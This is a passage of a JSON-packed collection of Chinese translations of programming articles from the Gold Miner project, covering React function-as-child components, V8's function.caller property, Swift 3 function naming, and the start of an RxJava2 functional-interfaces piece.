[自动化检测\b规则](https://eslint.org/docs/user-guide/command-line-interface#--fix)，Prettier 是最富特色的解决方案。不像 ESLint, Prettier 还支持 supports JSON, CSS, SASS, 甚至 GraphQL 和 Markdown。它还提供了与 [ESLint](https://prettier.io/docs/en/eslint.html) 及 [常见的编辑器](https://prettier.io/docs/en/eslint.html) 深度结合的能力。如果我们对分号意见一致，我们会很棒。\n\n* * *\n\n### 插件: LogRocket, web 应用的调试工具\n\n![](https://cdn-images-1.medium.com/max/1000/1*s_rMyo6NbrAsP-XtvBaXFg.png)\n\n[LogRocket](https://logrocket.com) 是一个前端的记录工具，允许你回放发生在自己浏览器上的问题。而不是猜测错误发生的原因，或者问用户要截图\b和日志文件, LogRocket 让你重现任务\b可以\b迅速的了解哪里出了问题。它和所有的应用\b都结合的很好，无论什么框架，同时有记录额外的 \bRedux, Vuex, 和 @ngrx/store 上下文工具。\n\n在记录 Redux 事件和状态之外，LogRocket 记录\b控制面板，JavaScript 错误，堆栈，网络请求/答复的\b头和主体，浏览器元信息和自定义日志。它还操作 DOM 来记录页面中的 HTML 和 CSS，即使对\b最复杂的单页应用也可以再现非常精确的\b\b录制画面。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/function-as-child-components.md",
    "content": "> * 原文地址：[Function as Child Components](http://merrickchristensen.com/articles/function-as-child-components.html)\n> * 原文作者：[Merrick](http://merrickchristensen.com/about.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[rottenpen](https://github.com/rottenpen)\n> * 校对者：[loveky](https://github.com/loveky) [avocadowang](https://github.com/avocadowang) \n\n# 将函数作为子组件的组件 #\n\n我最近在 Twitter 上发起了关于高阶组件和将函数作为子类的组件的投票，得到的结果让我很意外。\n\n如果你不知什么是“函数作为子组件的组件”，我试图通过这篇文章告诉你：\n\n1. 函数作为子组件的组件是什么。\n\n2. 它为什么有用。\n\n3. 我只想享受分享的快乐，而不是收获一些 Twitter 转发，点赞，或是上一些 newsletter 等等。你懂我的意思吧？\n\n\n## 什么是函数作为子组件的组件？ ##\n\n“函数作为子组件的组件”是接收一个函数当作子组件的组件。这种模式的实施和执行得益于 React 的 property types。\n\n```\nclass MyComponent extends React.Component{   \n  render() {  \n    return (  \n        <div>\n          {this.props.children('Scuba Steve')}\n        </div>\n    );  \n  }  \n}\n\nMyComponent.propTypes = {  \n  children: React.PropTypes.func.isRequired,  \n};\n\n```\n\n没错！通过函数作为子类组件的组件我们就能解耦父类组件和它们的子类组件，让设计者决定选用哪些参数及怎么将参数应用于子类组件。例如：\n\n```\n<MyComponent>\n  {(name) => (\n    <div>{name}</div>\n  )}\n</MyComponent>\n\n```\n\n其他使用这一组件的人可能考虑以不同的方式使用 name ，比如使之作为一个元素的属性：\n\n```\n<MyComponent>\n  {(name) => (\n    <img src=’/scuba-steves-picture.jpg’ alt={name} />\n  )}\n</MyComponent>\n```\n\n这里真正奇妙的地方在于，MyComponent ，可以让函数作为子类组件的组件管理状态而不用关心它们是如何使用这些状态的。让我们再来一个更真实的例子。\n\n### 百分比组件 ###\n\nRatio 组件将使用设备的宽度，监听 resize 事件并将宽度、高度以及一些描述是否完成尺寸计算的信息传给它的子组件。\n\n首先我们从函数作为子类组件的组件的代码片段开始，这片段在所有子组件函数中都是常见的，它只是让 Comsumer 知道我们期望一个函数作为子组件，而不是 React 节点。\n\n```\nclass Ratio extends React.Component{  \n  render() {  \n    return (  \n        {this.props.children()}  \n    );  \n  }  \n}\n\nRatio.propTypes = {  \n children: React.PropTypes.func.isRequired,  \n};\n\n```\n\n接下来让我们设计 API ，我们想要一个 X Y 轴的比率，然后我们使用当前的宽度来计算，可以设置一些内部 state 来管理宽度和高度，无论我们是否已经计算了。此外，也该让 propTypes 和 defaultProps 在使用组件时发挥点作用。\n\n```\nclass Ratio extends React.Component{  \n\n  constructor() {  \n    super(...arguments);  \n    this.state = {  \n      hasComputed: false,  \n      width: 0,  \n      height: 0,   \n    };  \n  }\n\n  render() {  \n    return (  \n      {this.props.children()}  \n    );  \n  }  \n}\n\nRatio.propTypes = {  \n  x: React.PropTypes.number.isRequired,  \n  y: React.PropTypes.number.isRequired,  \n  children: React.PropTypes.func.isRequired,  \n};\n\nRatio.defaultProps = {  \n  x: 3,  \n  y: 4  \n};\n\n```\n\n实际上我们还没有做什么有趣的事情，让我们来添加一些事件监听，并计算实际宽度（根据我们比率的变化）：\n\n```\nclass Ratio extends React.Component{\n\n  constructor() {\n    super(...arguments);\n    this.handleResize = this.handleResize.bind(this);\n    this.state = {\n      hasComputed: false,\n      width: 0,\n      height: 0, \n    };\n  }\n\n  getComputedDimensions({x, y}) {\n    const {width} = this.container.getBoundingClientRect();\nreturn {\n      width,\n      height: width * (y / x), \n    };\n  }\n\n  componentWillReceiveProps(next) {\n    this.setState(this.getComputedDimensions(next));\n  }\n\n  componentDidMount() {\n    this.setState({\n      ...this.getComputedDimensions(this.props),\n      hasComputed: true,\n    });\n    window.addEventListener('resize', this.handleResize, false);\n  }\n\n  componentWillUnmount() {\n    window.removeEventListener('resize', this.handleResize, false);\n  }\n\n  handleResize() {\n    this.setState({\n      hasComputed: false,\n    }, () => {\n      this.setState({\n        hasComputed: true,\n        ...this.getComputedDimensions(this.props),\n      });\n    });\n  }\n\n  render() {\n    return (\n      <div ref={(ref) => this.container = ref}>\n        {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}\n      </div>\n    );\n  }\n}\n\nRatio.propTypes = {\n  x: React.PropTypes.number.isRequired,\n  y: React.PropTypes.number.isRequired,\n  children: React.PropTypes.func.isRequired,\n};\n\nRatio.defaultProps = {\n  x: 3,\n  y: 4\n};\n\n```\n\n好吧，在这我做了很多东西。我们添加了一些事件监听来监听 resize 事件以及使用提供的比率计算实际的宽度高度。所以我们得到的宽高在组件的 state 里，那我们如何与其他组件共享它们呢？\n\n这是一件难以理解的事情，因为它很容易让人认为“这就完了？”，但事实这就是全部了。\n\n#### 子类组件只是一个 Javascript 函数 ####\n\n这意味着想要计算出宽度和高度，我们只需要提供参数：\n\n```\nrender() {\n    return (\n      <div ref='container'>\n        {this.props.children(this.state.width, this.state.height, this.state.hasComputed)}\n      </div>\n    );\n}\n\n```\n\n现在任何人都可以使用比例组件通过提供的宽度以他们喜欢的方式来正确计算出高度！例如，有人可以使用比例组件来设置 img 上的比例：\n\n```\n<Ratio>\n  {(width, height, hasComputed) => (\n    hasComputed \n      ? <img src='/scuba-steve-image.png' width={width} height={height} /> \n      : null\n  )}\n</Ratio>\n```\n\n同时，在另一个文件中，有人决定使用它来设置 CSS 属性。\n\n```\n<Ratio>\n  {(width, height, hasComputed) => (\n    <div style={{width, height}}>Hello world!</div>\n  )}\n</Ratio>\n\n```\n\n在另一个 app 里，有人正根据计算高度使用不同的子类组件:\n\n```\n<Ratio>\n  {(width, height, hasComputed) => (\n    hasComputed && height > TOO_TALL\n      ? <TallThing />\n      : <NotSoTallThing />\n  )}\n</Ratio>\n```\n\n### 优势 ###\n1. 构造组件的开发人员能自主控制如何传递和使用这些属性。\n2. 函数作为子类组件的组件的作者不强制组件的值如何被利用，允许它非常灵活的使用。\n3. 组件使用者不需要创建另一个组件来决定怎样从“高阶组件”传入属性。高阶组件通常在组成的组件上强制执行属性名称。 为了解决这个问题，许多“高阶组件”提供了一个选择器函数，允许组件使用者选择属性名称（请参考 redux 里 connect 选择函数）。而函数子组件没有这样的问题。\n4. 不污染 “props” 命名空间，这允许你同时使用 “Ratio” 组件和 “Pinch to Zoom” 组件，不管它们是否都会计算宽度。高阶组件带有与它们组成的组件相关的隐式契约，不幸的是这可能意味着 prop 的名称会发生冲突以至于高阶组件无法与其他组件进行组合。\n5. 高阶组件在你的开发工具和组件本身中创建一个间接层，例如设置在组件上的常量被高阶组件封装后将无法使用。例如：\n\n```\nMyComponent.SomeContant = 'SCUBA';\n\n```\n\n然后被高阶组件封装，\n\n```\nexportdefault connect(...., MyComponent);\n\n```\n\n和你的常量说再见吧。因为如果没有高阶组件提供的函数，你将再也不能访问到这个常量。哭。\n\n#### 总结 ####\n大多数时候我们会认为“我需要一个高阶组件来实现这个共享功能！”根据我的经验，我相信在多数情况下函数作为子类组件的组件是一个更好的替代方法来抽象你的 UI 问题，除非你的子组件与其组合的高阶组件真正耦合。\n\n#### 关于高阶组件的不幸事实 ####\n补充一下，我认为高阶组件的名称不正确，尽管现在尝试修改已经有点晚了。高阶函数是至少执行以下操作之一的函数：\n1. 将n个函数作为参数。\n2. 返回一个函数作为结果。\n\n事实上，我们常说的高阶组件做了类似的事情，也就是拿一个组件作为参数并返回一个组件，但是我更容易将高阶组件看作是工厂函数，它是一个能动态创建的组件将允许的功能用于组件的运行组合。然而，在运行组合的时候他们是**不知道**你的 React 的 state 和 props 。\n\n函数作为子类组件的组件允许你的组件们在作出组合决策时可以访问 state ， props 和上下文。当函数作为子组件：\n\n1. 将一个函数作为参数。\n2. 渲染此函数的结果。\n\n我觉得它们应该被命名为真正的“高阶组件”，因为它像高阶函数只使用组件组合技术而不是功能组合。好吧，现在我们还是继续用“将函数作为子类的组件”这个粗暴的名字。\n### 例子 ###\n\n1. [Pinch to Zoom - Function as Child Component](https://gist.github.com/iammerrick/c4bbac856222d65d3a11dad1c42bdcca)\n2. [react-motion](https://github.com/chenglou/react-motion) 这个项目在讲了很长一段时间这个概念之后，高阶组件才演变出函数作为子类组件的组件。\n\n### 不好之处（补充翻译 by 老教授） ###\n\n虽然函数作为子组件的组件这种模式可以让你在渲染的时候更灵活，但是，在不特地改动你的组件的前提下，你没法用标准的 SCU 对它进行优化。这个 Dan（Redux 作者）在 tweeter 上说过了。\n\n不过 Dan 也提到这里有一个灰色地带：“很多情况下其实这并不是问题，react-motion 就用了这种模式，依然跑得好好的”。\n\n目前为止我个人并没有发现它成为性能的阻碍。即便是高阶组件也会有类似问题，也时常要接收一些未知的属性，所以也经常要做些特殊优化。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/function-caller-considered-harmful.md",
    "content": "> * 原文地址：[function.caller considered harmful](https://medium.com/@bmeurer/function-caller-considered-harmful-45f06916c907)\n> * 原文作者：[Benedikt Meurer](https://medium.com/@bmeurer?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/function-caller-considered-harmful.md](https://github.com/xitu/gold-miner/blob/master/TODO/function-caller-considered-harmful.md)\n> * 译者：[yankwan](https://github.com/yankwan)\n> * 校对者：[Starriers](https://github.com/Starriers)\n\n# function.caller 被认为是有害的\n\n今天我收到来自微软的 Patrick Kettner 提的这个问题，然而我发现这个问题是我已经回答过的，只不每次的问题稍有不同而已。\n\n![Snipaste_2018-03-05_14-09-37.png](https://i.loli.net/2018/03/05/5a9cdf3029af2.png)\n\n最终我发现是自己在第一次看到这个问题的时候理解错了这个问题，并且当别人在 Twitter 上回应的时候我也没有足够重视这个问题。\n\n![Snipaste_2018-03-05_14-10-35.png](https://i.loli.net/2018/03/05/5a9cdf5faff49.png)\n\n最后 Patrick 又提醒我一次，我才发现引起他兴趣的并不是 arguments.caller，而是函数对象的 \"caller\" 这个神秘的属性 ——— 准确来说是非严格模式下的函数对象。\n\nJavaScript 在历史上曾提供了一个有魔力的 foo.caller 属性，它可以返回调用 foo 函数的引用。使用该属性存在着众多问题，例如它可能会因跨域调用产生安全问题、它在复杂的 JavaScript 引擎中实现的不够充分、它难以维护和测试、诸如对闭包的内联插入，逃逸分析和标量替换的优化都变得不可行，甚至在调用 \"caller\" 的属性访问器时，这些优化在返回的调用函数中也无法实现。\n\n* * *\n\n很多不可思议的事在非严格模式函数中都被限制了。严格模式下函数通过 [AddRestrictedFunctionProperties](https://tc39.github.io/ecma262/#sec-addrestrictedfunctionproperties) 定义 \"caller\" 的访问器，当访问该属性的时候会抛出一个类型错误。\n\n![](https://cdn-images-1.medium.com/max/800/1*c_2sPWSdvAKKPq1Lz9BD7A.png)\n\n对于非严格模式的函数，目前 EcmaScript 规格中的定义也是非常模糊的，基本上对它没有做任何的规范限制。在章节 [16.2 禁止扩展](https://tc39.github.io/ecma262/#sec-forbidden-extensions)中说到：\n\n> 如果扩展非严格模式或内置函数对象的时候，将对象自己的属性命名为 \"caller\" ，并且它的值通过 [[Get]] 或者 [[GetOwnProperty]] 定义的话，这种情况下必须保证不是严格模式。如果它是作为一个访问器属性，通过 [[Get]] 属性获取它的值将会返回调用它的函数，那么这个时候不会返回严格模式下的函数。\n\n所以在非严格模式函数下的 \"caller\" 属性，或多或少完全实现了既定的行为。唯一的限制是如果有 yield 一个变量，那么这个变量一定不是严格模式下的函数。所以在非严格模式下，给 \"caller\" 赋一个默认值 42 是一个合理做法。显然实现中并没有这么做 —— 尽管有把这个添加到 V8 中的想法，同时现在也极不建议大家使用 foo.caller。\n\n* * *\n\n这是我们目前如何在 V8 中实现这些（有误导性的）特性 —— 也正是如何在 Chrome 和 Node.js 中运行的。\"caller\" 这个属性在非严格模式函数中是一个特殊的访问器，其实现方法 [FunctionCallerGetter](https://cs.chromium.org/chromium/src/v8/src/accessors.cc?type=cs&l=1044) 在 accessors.cc 源码文件中实现，同时在该文件实现的还有核心的逻辑方法 [FindCaller](https://cs.chromium.org/chromium/src/v8/src/accessors.cc?type=cs&l=1000)。要理解下面这些规则可以说是比较困难的，但这就是当你在非严格模式下访问 foo.caller时我们底层代码所做的事： \n\n1.  首先找到函数 foo 的最近一次的调用，例如 foo 的最后一次还没返回给调用方的调用。\n2.  如果当前 foo 不存在被调用的情况，则立即返回 null。\n3.  如果处于正被调用的情况，我们通过查看非用户层的 JavaScript 代码的调用情况，找到它的上级调。\n4.  如果通过上述规则没有找到上级调用，我们直接返回 null。\n5.  如果能找到上级调用，如果它是严格模式的函数或者是我们不需要访问的 ——  例如来自不同域的函数 —— 这种情况下我们也返回 null。\n6.  否则的话，我们则返回上级调用的闭包。\n\n这里给出了一个它们如何工作的简单例子：\n\n![](https://cdn-images-1.medium.com/max/800/1*ulOC-6Xuiy9FGDKk19ge0A.png)\n\n现在你对 foo.caller 是怎么工作已经有了一个基本的了解，这里我强烈建议你不要再使用它。正如上述所说的，它基本上是一个不能保证完全实现的特性。我们目前仍然会提供支持，但对于 arguments.caller，正如在 [crbug.com/691710](https://bugs.chromium.org/p/chromium/issues/detail?id=691710) 提到的一样，我们可能在某个时间会移除它 —— 因为我们希望能够对闭包做逃逸分析和标量替换 —— 所以不要依赖它 —— 同时显然其他 JavaScript 引擎或许根本不支持这种特性。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/function-naming-in-swift-3.md",
    "content": "> * 原文地址：[Function Naming In Swift 3](http://inaka.net/blog/2016/09/16/function-naming-in-swift-3/)\n* 原文作者：[Pablo Villar](https://twitter.com/volbap)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Zheaoli](https://github.com/Zheaoli)\n* 校对者：[Kulbear](https://github.com/Kulbear), [Tuccuay](https://github.com/Tuccuay)\n\n# Swift 3 中的函数参数命名规范指北\n\n昨天，我开始将这个 [Jayme](http://inaka.net/blog/2016/05/09/meet-jayme/) 迁移到 Swift 3。这是我第一次将一个项目从 Swift 2.2 迁移至 Swift 3。说实话这个过程十分的繁琐，由于 Swift 3 在老版本基础上发生了很多比较大的改变，我不得不承认眼前这样一个事实，除了花费较多的时间以外，没有其余的捷径可走。不过这样的经历也带来一点好处：我对 Swift 3 的理解变得更为深入，对我来讲，这可能是最好的消息了。😃\n\n在迁移代码的过程中，我需要做出很多的选择。更为蛋疼的是，整个迁移过程并不是修改代码那么简单，你还需要用耐心去一点点适应 Swift 3 中带来的新变化。某种意义上来讲，修改代码只是整个迁移过程的开始而已。\n\n如果你已经决定将你的代码迁移到 Swift 3 ，我建议你去看看这篇[文章](http://www.jessesquires.com/migrating-to-swift-3/)来作为你万里长征的第一步。\n\n如果一切顺利的话，在不久以后，我将回去写一篇博客来记录下整个迁移过程中的点点滴滴，包括我所作出的决定等等。但是眼前，我将会把注意力集中在一个非常非常重要的问题上：**怎样正确的编写函数签名**.\n\n## 开篇\n\n首先，让我们来看看在 Swift 3 与 Swift 2 相比函数命名方式的差异吧。\n\n在 Swift 2 中，函数中的第一个参数的标签在调用时可以省略，这是为了遵循这样一个 [good ol' Objective-C conventions](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CodingGuidelines/Articles/NamingMethods.html) 标准。比如我们可以这样写代码：\n\n~~~Swift\n    // Swift 2\n    func handleError(error: NSError) { }\n    let error = NSError()\n    handleError(error) // Looks like Objective-C\n~~~\n\n在 Swift 3 中调用函数时，其实也是有办法省略第一个参数的标签的，但默认情况下不是这样：\n\n~~~Swift\n    // Swift 3\n    func handleError(error: NSError) { }\n    let error = NSError()\n    handleError(error)  // Does not compile!\n    // ⛔ Missing argument label 'error:' in call\n~~~\n\n\n当遇到这样的情况时，我们第一反应可能是下面这样的：\n\n~~~Swift\n    // Swift 3\n    func handleError(error: NSError) { }\n    let error = NSError()\n    handleError(error: error)    \n    // Had to write 'error' three times in a row!\n    // My eyes already hurt 🙈\n~~~\n\n当然如果这样做，你肯定会很快意识到你的代码将将会变得有多坑爹。\n\n如同前面所说的一样，在 Swift 3 中，我们是可以在调用函数时，将第一个参数的标签省略的，但是记住，你要去明确的告诉编译器这一点：\n\n~~~Swift\n    // Swift 3\n    func handleError(_ error: NSError) { }\n    // 🖐 Notice the underscore!\n    let error = NSError()\n    handleError(error)  // Same as in Swift 2\n~~~\n\n> 你可能在使用 Xcode 自带的迁移工具进行迁移时遇到这样的情况。\n\n注意，在函数签名中的下划线的意思是：告诉编译器，我们在调用函数时第一个参数不需要外带标签。这样，我们可以按照 Swift 2 中的方式去调用函数。\n\n此外，你需要意识到，Swift 3 之所以修改了函数编写方式，是为了保证其一致性与可读性：我们不在需要对不同的参数区别对待。我想这可能是你遇到的第一个问题。\n\n好了，现在代码可以编译运行了，但是你必须知道，你需要反复的去阅读 [Swift 3 API design guidelines](https://swift.org/documentation/api-design-guidelines/) 一文。\n\n> ☝️ 一点微小的人生经验：你需要随时去诵读 [Swift 3 API design guidelines](https://swift.org/documentation/api-design-guidelines/) 一文，这会为你解锁 Swift 开发的新体位。\n\n## 第二步，精简你的代码\n\n![Pruning](http://v1.qzone.cc/pic/201507/27/16/46/55b5efcd7c79f853.png%21600x600.jpg)\n\n让我们再来看看之前的代码:\n\n为了精简我们的代码，你可以将你的代码进行[修剪](https://github.com/apple/swift-evolution/blob/master/proposals/0005-objective-c-name-translation.md#prune-redundant-type-names)一番，比如去除函数名里的类型信息等。\n\n~~~Swift\n    // Swift 3\n    func handle(_ error: NSError) { /* ... */ }\n    let error = NSError()\n    handle(error)   // Type name has been pruned\n    // from function name, since it was redundant\n~~~\n\n如果你想让你的代码变得更短，更精悍，更明了的话，我给你们讲，作为一个钦定的开发者，一定要去反复诵读这篇 [Swift 3 API design guidelines](https://swift.org/documentation/api-design-guidelines/) 文章到可以默写为止。\n\n要注意让函数的调用过程是清晰、明确的，我们根据以下两点来确定函数的命名和参数：\n\n*   我们知道函数的返回**类型**\n*   我们知道参数所对应的类型（比如在上面这个例子中，我们毫无疑问的知道其参数所属的类型是 **NSError**）。\n\n## 更多的一些问题\n\n现在请睁大眼睛看清楚我们下面所讨论的东西。 ⚠️\n\n上面我们所讲的东西并没有包括所有可能出现的情况，换句话说，你可能遇到这样一种特殊情况，即，一个参数的类型没有办法直观的体现其作用。\n\n让我们考虑下面这样一种情况：\n\n~~~Swift\n    // Swift 2\n    func requestForPath(path: String) -> URLRequest {  }\n    let request = requestForPath(\"local:80/users\")\n~~~\n\n如果你想将代码迁移到 Swift 3 ，那么根据已有的知识，你可能会这么做：\n\n~~~Swift\n    // Swift 3\n    func request(_ path: String) -> URLRequest {  }\n    let request = request(\"local:80/users\")\n~~~\n\n讲真，这段代码看起来可读性很差，让我们稍微修改下：\n\n~~~Swift\n    // Swift 3\n    func request(for path: String) -> URLRequest {  }\n    let request = request(for: \"local:80/users\")\n~~~\n\nOK，现在看起来舒服多了，但是并没有解决我上面提到的问题。\n\n在我们调用这个函数的时候，我们怎样很直观的知道我们需要给这个参数传递一个 Web Url 呢？你所能提前知道的是你需要传递一个 String 类型的变量进去，但是你并不清楚你需要传递一个 Web Url 进去。\n\n同理，我们在一个大型项目中，我们需要很清楚的明白每个参数的作用所在，但是很明显，目前我们还没有解决这个大问题，比如:\n\n*   你怎么知道一个 `String` 类型的变量代表着 Web Url。\n*   你怎么知道一个 `Int` 类型的变量代表着 Http 状态码。`[String: String]`\n*   你怎么知道一个 `[String: String]` 类型的变量代表着 Http Header。\n*   等等...。\n\n> ⚠️ 综上，我给你们一点微小的人生经验吧: **谨慎精简你的代码** ✄\n\n回到代码上，我们可以给参数添加上相对应的标签来解决这个问题，好了看看下面这个代码：\n\n~~~Swift\n    func request(forPath path: String) -> URLRequest {  }\n    let request = request(forPath: \"local:80/users\")\n~~~\n\n好了，现在代码看起来是不是**更清楚**，**可读性**更强了呢？ 🎉 恭喜~\n\n![Hooray](http://inaka.net/assets/img/rick-hooray-confeti.gif)\n\n> 讲真，看到这里其实你可以关闭浏览器了，但是事实上，下面才是最精华的部分。\n\n好了，让我们来看看关于函数参命名的用词问题：\n\n~~~Swift\n    func request(forPath path: String) -> URLRequest {  }\n    // The word 'path' appears twice\n~~~\n\n这段代码看起来不错，但是如果你想让其变得更好，那么请看接下来的部分。\n\n## 你所不知道的小技巧\n\n这个小技巧很简单：在上下文中反映参数的类型及作用，这样你就可以无脑的精简你的代码了。\n\n![Prune with no mercy](http://inaka.net/assets/img/prune-with-no-mercy.gif)\n\n呐，我们来看看下面这段代码。\n\n~~~Swift\n    typealias Path = String      // To the rescue!\n\n    func request(for path: Path) -> URLRequest {  }\n    let request = request(for: \"local:80/users\")\n~~~\n\n在这个例子中，参数的类型和参数的作用表达达成了一个完美的统一，因为你在上下文中为 `String` 赋予了一个别名叫做 `Path`。\n\n现在，你的函数看起来还是依旧的精简，可读性较高，但是却不重复。\n\n以此类推，你可以使用同样的方式来书写一些优美的代码，比如：\n\n~~~Swift\n    typealias Path = String\n    typealias StatusCode = Int\n    typealias HTTPHeader = [String: String]\n    // etc...\n~~~\n\n如你所见，你可以尽情的写精简而优美的代码了。\n\n不过，请记住，凡事走向极端便变了味了：这个小技巧会为你的代码添加额外的负担，特别是你们代码存在多重嵌套的情况下。因此请记住，如果你无脑的使用这样的小技巧的话，那么你可能会付出一些惨痛的代价。\n\n## 结论\n\n很多时候，你在使用　Swift 3 时，命名函数的时候你会遇到很多困难。\n\n积累一些代码片段可能会帮助你很多：\n\n~~~Swift\n    func remove(at position: Index) -> Element {  }\n    employees.remove(at: x)\n\n    func remove(_ member: Element) -> Element?  {  }\n    allViews.remove(cancelButton)\n\n    func url(forPath path: String) -> URL {  }\n    let url = url(forPath: \"local:80/users\")\n\n    typealias Path = String // Alternative\n    func url(for path: Path) -> URL {  }\n    let url = url(for: \"local:80/users\")\n\n    func entity(from dictionary: [String: Any]) -> Entity { /* ... */ }\n    let entity = entity(from: [\"id\": \"1\", \"name\": \"John\"])\n~~~\n"
  },
  {
    "path": "TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md",
    "content": "> * 原文地址：[Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[XHShirley](https://github.com/XHShirley)\n> * 校对者：[stormrabbit](https://github.com/stormrabbit), [phxnirvana](https://github.com/phxnirvana)\n\n# 函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 -  响应式编程 ［Android RxJava 2］（这到底是什么）第三部分\n\n\n太棒了，我们又来到新的一天。这一次，我们要学一些新的东西让今天变得有意思起来。\n\n大家好，希望你们都过得不错。这是我们的 RxJava2 Android 系列的第三篇文章.\n\n- [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)\n- [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)\n\n在这篇文章中，我们将讨论函数式的接口，函数式编程，Lambda 表达式以及与 Java 8 的相关的其它内容。这对每个人近期都是有帮助的。\n\n**动机：**\n\n动机和我在分享[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)时一致。Lambda 表达式、函数式编程、高阶函数等等总是让我在使用 Java 时很痛苦，因为大家都知道，Java 是面向对象编程的。所以，Java 怎么可能支持函数式编程。那么，在函数式编程里，Lambda 表达式的角色是什么呢？为了让所有问题变得简单明了，我会从函数式接口开始。重要的是，我向你们保证，只要你们 100% 看完这部分，你们将会对最近我们听到的所有名字都感觉自在很多。函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的与不可变的，函数式编程与 Lambda 表达式。我觉得很多人最近都在使用 Lambda 表达式，但或许在读完这篇文章后，他们会更了解 Lambda 表达式。攻克难题的时刻到了。\n\n**修改:**\n\n在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md)，我们讨论了 Rx 最重要、最基础也最核心的概念，那就是观察者模式。在[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)，我们讨论了拉模式和推模式，以及命令式和响应式编程。\n\n**介绍:**\n\n今天我们将会弄清楚所有关于函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程以及 Lambda 表达式的所有困惑。所以为了方便理解 Lambda 表达式的概念，我要先解释什么是函数式接口。\n\n**函数式接口:**\n\n一言以蔽之，**函数式接口是有且只有一个抽象方法的接口**。换言之，**任何拥有唯一抽象方法的接口都可以被称为函数式接口**。这里我想分享一些背景知识，这些知识不属于这个系列，但是对你面试尤其有用。如果你读过我的定义。我用了关键词抽象，众所周知的是接口里的方法都是抽象的，但那是 Java 8 出现之前的情况。在 Java 8 里，我们可以在接口中定义一个包含方法体的方法，这个方法叫默认方法，正如下面所示。\n\n```\npublic interface Account {\n\n   void name();\n\n   default void showTyepOfAccount(){\n      System.out.println(\"Don't know :(\" );\n   }\n}\n```\n\n现在我们要回顾一下定义。函数式接口是个拥有一个抽象方法的接口。\n\n所以现在，如果我问你上面的接口是不是一个函数式接口，你的答案是什么？根据定义，答案应该是：不是。但那却是一个有效的函数式接口，为什么呢……\n\n现在，如果接口定义默认方法或者继承并重写 java.lang.Object 类里的任何方法。那个接口还是函数式接口，这是因为 **java.lang.Object** 方法并不算数。正如我在下面展示给你的真正的函数式接口。\n\n```\npublic interface Add {\n    void add(int a, int b);\n\n    @Override\n    String toString();\n\n    @Override\n    boolean equals(Object o);\n}\n```\n\n所以，任何有多于一个抽象方法的接口不能被称为函数式接口，正如下面所示。\n\n```\npublic interface Do {\n\n    void why();\n\n    void sorry();\n}\n```\n\n我相信你已经理解了函数式接口的概念。这也是 Lambda 表达式重要的核心概念，一定要好好记住。\n\n一些我们现在日常开发使用的函数式接口的例子：\n\n```\npublic interface Runnable {\n    public abstract void run();\n}\n\npublic interface OnClickListener {\n    void onClick(View v);\n}\n```\n\n现在是时候向你展示 Java 7 和 8 的 Comparator 